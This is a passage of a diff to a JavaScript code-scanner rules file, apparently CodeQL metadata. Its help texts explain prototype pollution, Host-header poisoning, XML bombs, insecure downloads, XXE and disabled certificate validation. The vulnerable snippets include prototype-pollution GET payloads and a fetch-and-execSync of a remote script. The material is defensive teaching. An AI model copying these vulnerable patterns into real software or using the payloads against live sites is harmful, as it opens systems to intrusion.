"security-severity" : "6.1" + "security-severity" : "5.0" } }, { - "id" : "js/prototype-pollution", - "name" : "js/prototype-pollution", + "id" : "js/host-header-forgery-in-email-generation", + "name" : "js/host-header-forgery-in-email-generation", "shortDescription" : { - "text" : "Prototype-polluting merge call" + "text" : "Host header poisoning in email generation" }, "fullDescription" : { - "text" : "Recursively merging a user-controlled object into another object can allow an attacker to modify the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting." + "text" : "Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n \"dependencies\": {\n \"lodash\": \"^4.17.12\"\n }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let config = lodash.merge({}, {\n prefs: req.query.prefs\n });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n", - "markdown" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n \"dependencies\": {\n \"lodash\": \"^4.17.12\"\n }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let config = lodash.merge({}, {\n prefs: req.query.prefs\n });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n" + "text" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n", + "markdown" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ], - "description" : "Recursively merging a user-controlled object into another object\n can allow an attacker to modify the built-in Object prototype,\n and possibly escalate to remote code execution or cross-site scripting.", - "id" : "js/prototype-pollution", + "tags" : [ "security", "external/cwe/cwe-640" ], + "description" : "Using the HTTP Host header to construct a link in an email can facilitate phishing\n attacks and leak password reset tokens.", + "id" : "js/host-header-forgery-in-email-generation", "kind" : "path-problem", - "name" : "Prototype-polluting merge call", + "name" : "Host header poisoning in email generation", "precision" : "high", "problem.severity" : "error", - "security-severity" : "6.1" + "security-severity" : "9.8" } }, { - "id" : "js/insecure-download", - "name" : "js/insecure-download", + "id" : "js/xml-bomb", + "name" : "js/xml-bomb", "shortDescription" : { - "text" : "Download of sensitive file through insecure connection" + "text" : "XML internal entity expansion" }, "fullDescription" : { - "text" : "Downloading executables and other sensitive files over an insecure connection opens up for potential man-in-the-middle attacks." + "text" : "Parsing user input as an XML document with arbitrary internal entity expansion is vulnerable to denial-of-service attacks." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" + }, + "help" : { + "text" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = new expat.Parser();\n parser.on(\"startElement\", handleStart);\n parser.on(\"text\", handleText);\n parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`:\n\n\n```javascript\nconst app = require(\"express\")(),\n sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = sax.parser(true);\n parser.onopentag = handleStart;\n parser.ontext = handleText;\n parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", + "markdown" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = new expat.Parser();\n parser.on(\"startElement\", handleStart);\n parser.on(\"text\", handleText);\n parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`:\n\n\n```javascript\nconst app = require(\"express\")(),\n sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = sax.parser(true);\n parser.onopentag = handleStart;\n parser.ontext = handleText;\n parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" + }, + "properties" : { + "tags" : [ "security", "external/cwe/cwe-776", "external/cwe/cwe-400" ], + "description" : "Parsing user input as an XML document with arbitrary internal\n entity expansion is vulnerable to denial-of-service attacks.", + "id" : "js/xml-bomb", + "kind" : "path-problem", + "name" : "XML internal entity expansion", + "precision" : "high", + "problem.severity" : "warning", + "security-severity" : "7.5" + } + }, { + "id" : "js/insecure-dependency", + "name" : "js/insecure-dependency", + "shortDescription" : { + "text" : "Dependency download using unencrypted communication channel" + }, + "fullDescription" : { + "text" : "Using unencrypted protocols to fetch dependencies can leave an application open to man-in-the-middle attacks." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "warning" }, "help" : { - "text" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n", - "markdown" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n" + "text" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n", + "markdown" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-829" ], - "description" : "Downloading executables and other sensitive files over an insecure connection\n opens up for potential man-in-the-middle attacks.", - "id" : "js/insecure-download", - "kind" : "path-problem", - "name" : "Download of sensitive file through insecure connection", + "tags" : [ "security", "external/cwe/cwe-300", "external/cwe/cwe-319", "external/cwe/cwe-494", "external/cwe/cwe-829" ], + "description" : "Using unencrypted protocols to fetch dependencies can leave an application\n open to man-in-the-middle attacks.", + "id" : "js/insecure-dependency", + "kind" : "problem", + "name" : "Dependency download using unencrypted communication channel", "precision" : "high", - "problem.severity" : "error", + "problem.severity" : "warning", "security-severity" : "8.1" } }, { - "id" : "js/xxe", - "name" : "js/xxe", + "id" : "js/disabling-certificate-validation", + "name" : "js/disabling-certificate-validation", "shortDescription" : { - "text" : "XML external entity expansion" + "text" : "Disabling certificate validation" }, "fullDescription" : { - "text" : "Parsing user input as an XML document with external entity expansion is vulnerable to XXE attacks." + "text" : "Disabling cryptographic certificate validation can cause security vulnerabilities." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n", - "markdown" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n" + "text" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n {\n hostname: \"secure.my-online-bank.com\",\n port: 443,\n method: \"POST\",\n path: \"send-confidential-information\",\n rejectUnauthorized: false // BAD\n },\n response => {\n // ... communicate with secure.my-online-bank.com\n }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n", + "markdown" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n {\n hostname: \"secure.my-online-bank.com\",\n port: 443,\n method: \"POST\",\n path: \"send-confidential-information\",\n rejectUnauthorized: false // BAD\n },\n response => {\n // ... communicate with secure.my-online-bank.com\n }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option 